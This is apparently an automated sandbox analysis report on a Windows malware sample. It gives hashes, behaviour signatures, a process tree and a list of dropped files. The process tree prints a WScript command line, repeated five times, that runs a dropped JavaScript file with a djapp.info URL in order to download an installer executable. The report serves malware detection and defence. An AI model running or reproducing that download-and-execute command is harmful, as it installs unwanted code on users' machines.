Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03/11/2024, 20:28

General

  • Target

    8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    8d5aecb4788c4100e4f22d6da5f4f6c3

  • SHA1

    31b8c12287e9ced994b30845883395ab953039fc

  • SHA256

    6d220123b6cd32c5dc7b652c2797e27ba9ce6c40a327d740932a50a3a5b607dd

  • SHA512

    e4fc0af6111d0ea7f3070b0b05bcddfcdd1fe3837557dcdbc70946a5cc4ed80a6317b62c387f2885a4144261e664e191fd912ec4b378f6d77d0d3e763f5692e6

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnt

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 11 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:2484
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:2612
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:320
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:2016
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:1876
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 480
      2⤵
      • Program crash
      PID:2276

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

          Filesize

          1KB

          MD5

          67e486b2f148a3fca863728242b6273e

          SHA1

          452a84c183d7ea5b7c015b597e94af8eef66d44a

          SHA256

          facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

          SHA512

          d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

          Filesize

          436B

          MD5

          971c514f84bba0785f80aa1c23edfd79

          SHA1

          732acea710a87530c6b08ecdf32a110d254a54c8

          SHA256

          f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

          SHA512

          43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

          Filesize

          174B

          MD5

          4fa5bd1a1cc46736bfdbe9881aa41257

          SHA1

          6085d422f71a43a67c0f1e3d63524fe82176c13a

          SHA256

          92255cb131778d650023d2740f7c4648514ec56551f61ed4ddd547f890f92695

          SHA512

          fc70b2c07248a958e1f3881125e9e5de71133b6ef28af4a9b34dd54817c77b597b88e45e9909d0d052832036e5fce5f315bf76795b7f25e07d05377e46ed34de

        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

          Filesize

          170B

          MD5

          50c03fa614e608b39cec221e330440ae

          SHA1

          151b44839870465901949023ec28a4475983fb59

          SHA256

          d8a4550b08d9f0c99c172123be3e9b5e083c7f06262d5c9b2f066195ca682287

          SHA512

          debecae9c824ad511a0fe95f65d00678116fe4079a1360ce7e705b65416631cbe559148973a9395f0f9d3328a70fac801ca494d963f880112db9f43d6a9f972b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\1LNUKNV0\domain_profile[1].htm

          Filesize

          8KB

          MD5

          47f0c839c78d146181fb3b62657ec4ee

          SHA1

          129d687032b7267c46669364e1c0f7cbe26d1ccc

          SHA256

          260987e4aec5cd18617861055d89f0093fa908d4409935e9edbe7a513e2acd09

          SHA512

          923a97c49d82e8e3c6a1674d91bfd79fd90095f1a47d067764aafff346b5466e4bcc7ead75938a60c20ff62ab23d20db7bbf2f78564bcf08deca799e8aea39bf

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\1LNUKNV0\domain_profile[1].htm

          Filesize

          8KB

          MD5

          b9af25957658afba9a8289cc5979281a

          SHA1

          301cc342ae99373697ab76e84186c88bb91ada25

          SHA256

          f396bd15808846b97b24a7dc6d4630c38a3c400b6d32e82e7b44ab50c8b1a494

          SHA512

          ed7005a2ac158afb8cb343b78098e5d2363030a05988f439394977595b153200186e7a5d16887020c25ebb52e7e38def01dbe8da3fd05cf3405b97fed78105c1

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\domain_profile[1].htm

          Filesize

          42KB

          MD5

          41570cf431c1b7c8d8423b0069e6b580

          SHA1

          fe5d51f31c3bf74c17aedfb04d5b95d2ea43f836

          SHA256

          a2bf40a35d0d0baae341c043daeb26a46b457aa5bd4c34a1899fd4d4e90189d0

          SHA512

          48f669c2578acf4d160ee54b3819ff468cb2399fe7efaf55536d12901c5dff31ab110945b60a2da0d8e12385c2596547c7648cd077d7e9a2f430870c4effa4d3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\domain_profile[1].htm

          Filesize

          42KB

          MD5

          c70c3af04093a5c5dfbeb7407fdae099

          SHA1

          7bab781c768e69a32280278790bc33dbe171e645

          SHA256

          c14aaec0354ca5a76b3cc2925088671f8780e32641666d84b69f167ba9835cb5

          SHA512

          ec26df33329cd89f222bc88b171e9ccd2f3da01e3911ea9061b56d9ab23884883fdb232f8d6d7f39dd6e1e36f53e2a2ffeec1ac7f920706bf5f0978c7c10e6d0

        • C:\Users\Admin\AppData\Local\Temp\CabE3DA.tmp

          Filesize

          70KB

          MD5

          49aebf8cbd62d92ac215b2923fb1b9f5

          SHA1

          1723be06719828dda65ad804298d0431f6aff976

          SHA256

          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

          SHA512

          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        • C:\Users\Admin\AppData\Local\Temp\TarFC2B.tmp

          Filesize

          181KB

          MD5

          4ea6026cf93ec6338144661bf1202cd1

          SHA1

          a1dec9044f750ad887935a01430bf49322fbdcb7

          SHA256

          8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

          SHA512

          6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

        • C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\PQHS9K1N.txt

          Filesize

          177B

          MD5

          37ff855dd3e0e915decc91674d632bc6

          SHA1

          d7a080ab66b726454e92da937b858550f83d95e2

          SHA256

          8b1541127f175470c7be0e149ccb3dc9d0ba23977fc99b8b10e45b7b5b221295

          SHA512

          9d70a29c1ea2a7365b68826f9e742213654150fb17282bb95c6d5987f5e3675916f903db963fafe4164a93459422333de69f41d3f044dd7c92e8e22f560d285e